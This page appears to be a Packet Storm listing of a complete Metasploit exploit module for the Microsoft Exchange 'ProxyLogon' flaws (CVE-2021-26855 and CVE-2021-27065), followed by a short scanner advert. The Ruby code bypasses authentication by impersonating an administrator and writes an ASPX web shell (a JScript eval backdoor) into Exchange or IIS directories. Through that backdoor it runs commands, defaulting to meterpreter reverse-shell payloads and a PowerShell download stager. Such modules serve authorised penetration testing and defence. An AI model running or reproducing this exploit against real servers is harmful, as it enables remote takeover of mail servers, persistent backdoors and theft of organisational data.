Lucene search

K
packetstorm
Orange TsaiPACKETSTORM:161938
HistoryMar 23, 2021 - 12:00 a.m.

Microsoft Exchange ProxyLogon Remote Code Execution

2021-03-2300:00:00
Orange Tsai
packetstormsecurity.com
372
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::CheckModule  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange ProxyLogon RCE',  
'Description' => %q{  
This module exploit a vulnerability on Microsoft Exchange Server that  
allows an attacker bypassing the authentication, impersonating as the  
admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get  
the RCE (Remote Code Execution).  
  
By taking advantage of this vulnerability, you can execute arbitrary  
commands on the remote Microsoft Exchange Server.  
  
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,  
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,  
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).  
  
All components are vulnerable by default.  
},  
'Author' => [  
'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)  
'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)  
'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)  
'print("")', # https://www.o2oxy.cn/3169.html  
'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691  
],  
'References' => [  
['CVE', '2021-26855'],  
['CVE', '2021-27065'],  
['LOGO', 'https://proxylogon.com/images/logo.jpg'],  
['URL', 'https://proxylogon.com/'],  
['URL', 'http://aka.ms/exchangevulns'],  
['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],  
[  
'URL',  
'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'  
],  
['URL', 'https://www.o2oxy.cn/3169.html'],  
['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']  
],  
'DisclosureDate' => '2021-03-02',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',  
'HttpClientTimeout' => 60,  
'RPORT' => 443,  
'SSL' => true,  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
},  
'Platform' => ['windows'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],  
'Privileged' => true,  
'Targets' => [  
[  
'Windows Powershell',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_powershell,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_dropper,  
'CmdStagerFlavor' => %i[psh_invokewebrequest],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_CMD],  
'Type' => :windows_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'AKA' => ['ProxyLogon']  
}  
)  
)  
  
register_options([  
OptString.new('EMAIL', [true, 'A known email address for this organization']),  
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),  
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])  
])  
  
register_advanced_options([  
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),  
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),  
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),  
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),  
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),  
OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),  
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])  
])  
end  
  
def cmd_windows_generic?  
datastore['PAYLOAD'] == 'cmd/windows/generic'  
end  
  
def encode_cmd(cmd)  
cmd.gsub!('\\', '\\\\\\')  
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')  
end  
  
def execute_command(cmd, _opts = {})  
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"  
send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri(web_directory, @random_filename),  
'ctype' => 'application/x-www-form-urlencoded',  
'data' => "#{@random_inputname}=#{cmd}"  
)  
end  
  
def install_payload(exploit_info)  
# exploit_info: [server_name, sid, session, canary, oab_id]  
  
input_name = rand_text_alpha(4..8).to_s  
shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>"  
data = {  
identity: {  
__type: 'Identity:ECP',  
DisplayName: (exploit_info[4][0]).to_s,  
RawIdentity: (exploit_info[4][1]).to_s  
},  
properties: {  
Parameters: {  
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',  
ExternalUrl: shell.to_s  
}  
}  
}.to_json  
  
response = send_http(  
'POST',  
"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",  
data: data,  
cookie: exploit_info[2],  
ctype: 'application/json; charset=utf-8',  
headers: {  
'msExchLogonMailbox' => patch_sid(exploit_info[1]),  
'msExchTargetMailbox' => patch_sid(exploit_info[1]),  
'X-vDirObjectId' => (exploit_info[4][1]).to_s  
}  
)  
return '' if response.code != 200  
  
input_name  
end  
  
def message(msg)  
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"  
end  
  
def patch_sid(sid)  
ar = sid.to_s.split('-')  
if ar[-1] != '500'  
sid = "#{ar[0..6].join('-')}-500"  
end  
  
sid  
end  
  
def random_mapi_id  
id = "{#{Rex::Text.rand_text_hex(8)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"  
id.upcase  
end  
  
def random_ssrf_id  
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)  
# max. 2147483647  
rand(1941962752..2147483647)  
end  
  
def request_autodiscover(server_name)  
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
  
response = send_http(  
'POST',  
"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}",  
data: soap_autodiscover,  
ctype: 'text/xml; charset=utf-8'  
)  
  
case response.body  
when %r{<ErrorCode>500</ErrorCode>}  
fail_with(Failure::NotFound, 'No Autodiscover information was found')  
when %r{<Action>redirectAddr</Action>}  
fail_with(Failure::NotFound, 'No email address was found')  
end  
  
xml = Nokogiri::XML.parse(response.body)  
  
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?  
  
server = ''  
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
type = item.at_xpath('./xmlns:Type', xmlns)&.content  
if type == 'EXCH'  
server = item.at_xpath('./xmlns:Server', xmlns)&.content  
end  
end  
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
  
[server, legacy_dn]  
end  
  
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff  
def request_mapi(server_name, legacy_dn, server_id)  
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"  
headers = {  
'X-RequestType' => 'Connect',  
'X-ClientInfo' => random_mapi_id,  
'X-ClientApplication' => datastore['MapiClientApp'],  
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"  
}  
  
sid = ''  
response = send_http(  
'POST',  
"Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}",  
data: data,  
ctype: 'application/mapi-http',  
headers: headers  
)  
if response.code == 200  
sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/  
  
sid = response.body.match(sid_regex).to_s  
end  
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?  
  
sid  
end  
  
def request_oab(server_name, sid, session, canary)  
data = {  
filter: {  
Parameters: {  
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',  
SelectedView: '',  
SelectedVDirType: 'OAB'  
}  
},  
sort: {}  
}.to_json  
  
response = send_http(  
'POST',  
"Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}",  
data: data,  
cookie: session,  
ctype: 'application/json; charset=utf-8',  
headers: {  
'msExchLogonMailbox' => patch_sid(sid),  
'msExchTargetMailbox' => patch_sid(sid)  
}  
)  
  
if response.code == 200  
data = JSON.parse(response.body)  
data['d']['Output'].each do |oab|  
if oab['Server'].downcase == server_name.downcase  
return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]  
end  
end  
end  
  
[]  
end  
  
def request_proxylogon(server_name, sid)  
data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>"  
session_id = ''  
canary = ''  
  
response = send_http(  
'POST',  
"Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}",  
data: data,  
ctype: 'text/xml; charset=utf-8',  
headers: {  
'msExchLogonMailbox' => patch_sid(sid),  
'msExchTargetMailbox' => patch_sid(sid)  
}  
)  
if response.code == 241  
session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]  
canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...  
end  
  
[session_id, canary]  
end  
  
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.  
def run_cve_2021_26855  
# request for internal server name.  
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")  
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')  
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')  
end  
  
server_name = response.headers['X-FEServer']  
print_status("Internal server name (#{server_name})")  
  
# get informations by autodiscover request.  
print_status(message('Sending autodiscover request'))  
server_id, legacy_dn = request_autodiscover(server_name)  
  
print_status("Server: #{server_id}")  
print_status("LegacyDN: #{legacy_dn}")  
  
# get the user UID using mapi request.  
print_status(message('Sending mapi request'))  
sid = request_mapi(server_name, legacy_dn, server_id)  
print_status("SID: #{sid} (#{datastore['EMAIL']})")  
  
# search oab  
sid, session, canary, oab_id = search_oab(server_name, sid)  
  
[server_name, sid, session, canary, oab_id]  
end  
  
# post-auth arbitrary file write.  
def run_cve_2021_27065(session_info)  
# set external url (and set the payload).  
print_status('Prepare the payload on the remote target')  
input_name = install_payload(session_info)  
  
fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?  
  
# reset the virtual directory (and write the payload).  
print_status('Write the payload on the remote target')  
remote_file = write_payload(session_info)  
  
fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?  
  
# wait a lot.  
i = 0  
while i < datastore['MaxWaitLoop']  
received = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(web_directory, remote_file)  
})  
if received && (received.code == 200)  
break  
end  
  
print_warning("Wait a lot (#{i})")  
sleep 5  
i += 1  
end  
fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302  
  
[input_name, remote_file]  
end  
  
def search_oab(server_name, sid)  
# request cookies (session and canary)  
print_status(message('Sending ProxyLogon request'))  
  
print_status('Try to get a good msExchCanary (by patching user SID method)')  
session_id, canary = request_proxylogon(server_name, patch_sid(sid))  
if canary  
session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"  
oab_id = request_oab(server_name, sid, session, canary)  
end  
  
if oab_id.nil? || oab_id.empty?  
print_status('Try to get a good msExchCanary (without correcting the user SID)')  
session_id, canary = request_proxylogon(server_name, sid)  
if canary  
session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"  
oab_id = request_oab(server_name, sid, session, canary)  
end  
end  
  
fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?  
fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?  
fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?  
  
print_status("ASP.NET_SessionId: #{session_id}")  
print_status("msExchEcpCanary: #{canary}")  
print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")  
  
return [sid, session, canary, oab_id]  
end  
  
def send_http(method, ssrf, opts = {})  
ssrf = "X-BEResource=#{ssrf};"  
if opts[:cookie] && !opts[:cookie].empty?  
opts[:cookie] = "#{ssrf} #{opts[:cookie]}"  
else  
opts[:cookie] = ssrf.to_s  
end  
  
opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?  
  
request = {  
'method' => method,  
'uri' => @random_uri,  
'agent' => datastore['UserAgent'],  
'ctype' => opts[:ctype]  
}  
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?  
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?  
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?  
  
received = send_request_cgi(request)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
received  
end  
  
def soap_autodiscover  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
<Request>  
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>  
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
</Request>  
</Autodiscover>  
SOAP  
end  
  
def web_directory  
if datastore['UseAlternatePath']  
web_dir = datastore['IISWritePath'].gsub('\\', '/')  
else  
web_dir = datastore['ExchangeWritePath'].gsub('\\', '/')  
end  
web_dir  
end  
  
def write_payload(exploit_info)  
# exploit_info: [server_name, sid, session, canary, oab_id]  
  
remote_file = "#{rand_text_alpha(4..8)}.aspx"  
if datastore['UseAlternatePath']  
remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"  
remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"  
else  
remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"  
remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"  
end  
  
data = {  
identity: {  
__type: 'Identity:ECP',  
DisplayName: (exploit_info[4][0]).to_s,  
RawIdentity: (exploit_info[4][1]).to_s  
},  
properties: {  
Parameters: {  
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',  
FilePathName: remote_path.to_s  
}  
}  
}.to_json  
  
response = send_http(  
'POST',  
"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",  
data: data,  
cookie: exploit_info[2],  
ctype: 'application/json; charset=utf-8',  
headers: {  
'msExchLogonMailbox' => patch_sid(exploit_info[1]),  
'msExchTargetMailbox' => patch_sid(exploit_info[1]),  
'X-vDirObjectId' => (exploit_info[4][1]).to_s  
}  
)  
return '' if response.code != 200  
  
remote_file  
end  
  
def exploit  
@proto = (ssl ? 'https' : 'http')  
@random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")  
  
print_status(message('Attempt to exploit for CVE-2021-26855'))  
exploit_info = run_cve_2021_26855  
  
print_status(message('Attempt to exploit for CVE-2021-27065'))  
shell_info = run_cve_2021_27065(exploit_info)  
  
@random_inputname = shell_info[0]  
@random_filename = shell_info[1]  
  
print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")  
if datastore['UseAlternatePath']  
remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}"  
else  
remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}"  
end  
register_files_for_cleanup(remote_file)  
  
# trigger powa!  
case target['Type']  
when :windows_command  
vprint_status("Generated payload: #{payload.encoded}")  
  
if !cmd_windows_generic?  
execute_command(payload.encoded)  
else  
response = execute_command("cmd /c #{payload.encoded}")  
  
print_warning('Dumping command output in response')  
output = response.body.split('Name :')[0]  
if output.empty?  
print_error('Empty response, no command output')  
return  
end  
print_line(output)  
end  
when :windows_dropper  
execute_command(generate_cmdstager(concat_operator: ';').join)  
when :windows_powershell  
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
execute_command(cmd)  
end  
end  
  
end  
`
How to find holes in your network?

Try incredible fast Vulners Perimeter Scanner and find vulnerabilities and unnecessary ip and ports in network devices inside your network before anyone else.

Try Network Scanner
Related for PACKETSTORM:161938